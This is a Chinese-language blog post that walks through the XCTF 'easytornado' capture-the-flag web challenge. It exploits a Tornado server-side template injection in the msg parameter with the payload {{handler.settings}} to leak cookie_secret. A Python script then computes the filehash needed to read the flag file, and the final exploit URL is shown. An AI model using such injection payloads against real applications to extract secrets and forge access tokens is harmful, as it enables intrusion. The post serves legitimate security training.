shacker_shen

导航

攻防世界Web_easytornado

题目:

解题思路:

 

 

题目就三个txt文本文件 , 由python_template_injection这篇随笔中了解到 tornado也是python web应用程序模板的一种,应该也是考查模板注入。

打开这三个文本查看一下,结果如下:

 

 

 

 

 

 flag在 /fllllllllllllag里面,render({options}) 向模板中渲染数据, 可以把视图响应给客户端,猜测存在模板注入。

filename文件名猜测是/fllllllllllllag,将/fllllllllllllag的md5与cookie_secret相加再取md5值。所以只需要知道cookie_secret。

观察查看文件时如下:

 

 发现存在filehash的参数,猜测filehash=md5(cookie_secret+md5(filename))

解题过程:

直接url后加入/fllllllllllllag查看一下发下报错。

 

发现msg=Error,试试这里的值是否是注入点,发现存在模板注入漏洞。

 

现在需要知道什么是cookie_secret,参考资料[https://www.jianshu.com/p/b045b195ee76]

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量.
了解了什么是cookie_secret后我们可以通过模板注入构造payload:mag={{handler.settings}}

 

 发现cookie_secret=ac962e3f-841f-4421-9750-30afd0c43782  

编写代码计算filehash.

# encoding: utf-8

import hashlib

filename="/fllllllllllllag"
cookie_secret ="ac962e3f-841f-4421-9750-30afd0c43782"

def getvalue(string):
    md5 = hashlib.md5()
    md5.update(string.encode('utf-8'))
    return md5.hexdigest()

def merge():
    print(getvalue(cookie_secret + getvalue(filename)))

merge()

计算结果:cf215a0a40126053bb917dd170a91a33

 

 最后,构造payload:      http://111.200.241.244:62075/file?filename=/fllllllllllllag&filehash=cf215a0a40126053bb917dd170a91a33

 

 

 =====================================================================

总结:

 在tornado模板中,存在一些可以访问的快速对象,如handler.settings,利用render渲染函数漏洞执行可获取cookie_secret的hash值。

 

posted on 2022-02-24 22:35  shacker_shen  阅读(148)  评论(0编辑  收藏  举报